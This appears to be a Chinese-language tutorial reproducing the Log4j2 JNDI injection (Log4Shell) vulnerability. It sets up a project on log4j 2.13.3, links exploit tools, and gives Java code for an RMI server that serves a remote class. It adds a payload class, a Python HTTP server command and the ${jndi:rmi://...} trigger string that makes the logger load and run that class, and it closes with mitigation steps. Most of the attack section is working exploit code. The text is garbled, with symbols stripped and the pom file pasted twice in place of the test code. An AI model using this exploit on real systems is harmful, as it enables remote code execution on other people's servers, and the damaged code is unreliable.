构建maven项目引入Log4j2编写pom文件?xmlversion1。0encodingUTF8?projectxmlnshttp:maven。apache。orgPOM4。0。0xmlns:xsihttp:www。w3。org2001XMLSchemainstancexsi:schemaLocationhttp:maven。apache。orgPOM4。0。0http:maven。apache。orgxsdmaven4。0。0。xsdmodelVersion4。0。0modelVersiongroupIdorg。examplegroupIdLog4jrceartifactIdversion1。0SNAPSHOTversiondependencies!https:mvnrepository。comartifactorg。apache。logging。log4jlog4jcoredependencygroupIdorg。apache。logging。log4jgroupIdlog4jcoreartifactIdversion2。13。3versiondependency!https:mvnrepository。comartifactorg。apache。logging。log4jlog4japidependencygroupIdorg。apache。logging。log4jgroupIdlog4japiartifactIdversion2。13。3versiondependencydependenciespropertiesmaven。compiler。source8maven。compiler。sourcemaven。compiler。target8maven。compiler。targetpropertiesproject编写测试代码?xmlversion1。0encodingUTF8?projectxmlnshttp:maven。apache。orgPOM4。0。0xmlns:xsihttp:www。w3。org2001XMLSchemainstancexsi:schemaLocationhttp:maven。apache。orgPOM4。0。0http:maven。apache。orgxsdmaven4。0。0。xsdmodelVersion4。0。0modelVersiongroupIdorg。examplegroupIdLog4jrceartifactIdversion1。0SNAPSHOTversiondependencies!https:mvnrepository。comartifactorg。apache。logging。log4jlog4jcoredependencygroupIdorg。apache。logging。log4jgroupIdlog4jcoreartifactIdversion2。13。3versiondependency!https:mvnrepository。comartifactorg。apache。logging。log4jlog4japidependencygroupIdorg。apache。logging。log4jgroupIdlog4japiartifactIdversion2。13。3versiondependencydependenciespropertiesmaven。compiler。source8maven。compiler。sourcemaven。compiler。target8maven。compiler。targetpropertiesproject下载JNDI测试服务器 到https:github。comfeihongcsJNDIExploit 或者 https:github。comwelk1nJNDIInjectionExploit 下载JNDIExploit测试服务器 本次使用JNDIExploit举例 下载完成后使用javajarJNDIExploit1。2SNAPSHOT。jariip 启动服务器 然后运行之前的Log4j2项目即可出现如图所示效果 加载运行自己的class类编写RMI服务器importcom。sun。jndi。rmi。registry。ReferenceWimportjavax。naming。Rimportjava。rmi。registry。LocateRimportjava。rmi。registry。RauthorPuZhiweicreate2021121122:06publicclassRMIServer{publicstaticvoidmain(String〔〕args){System。setProperty(com。sun。jndi。rmi。object。trustURLCodebase,true);System。setProperty(com。sun。jndi。ldap。object。trustURLCodebase,true);try{LocateRegistry。createRegistry(1099);RegistryregistryLocateRegistry。getRegistry();System。out。println(CreateRMIregistryonport1099!);前两个参数为类名,第三个参数为远程类地址ReferencereferencenewReference(Test,Test,http:192。168。0。105:8080);ReferenceWrapperreferenceWrappernewReferenceWrapper(reference);registry。bind(evil,referenceWrapper);}catch(Exceptione){e。printStackTrace();}}} 编写测试类publicclassTest{static{System。out。println(你好Log4j2);}} 然后启动一个http服务器,将编译好的测试类放入http服务器的根目录,你可以直接使用python的http服务器pythonmhttp。server8080 修改Log4j2项目内容为logger。error({jndi:rmi:192。168。0。105:1099evil}); 运行项目即可看到Test类已被执行 之后你就可以通过修改Test类实现更多操作。如何防范 升级Log4j2到最新版本 使用最新版JDK 临时解决方案:设置jvm参数Dlog4j2。formatMsgNoLookupstrue在项目classpath目录下添加log4j2。component。properties配置文件,设置log4j2。formatMsgNoLookupstrue设置系统环境变量:LOG4JFORMATMESSAGESPATTERNDISABLELOOKUPS设置为true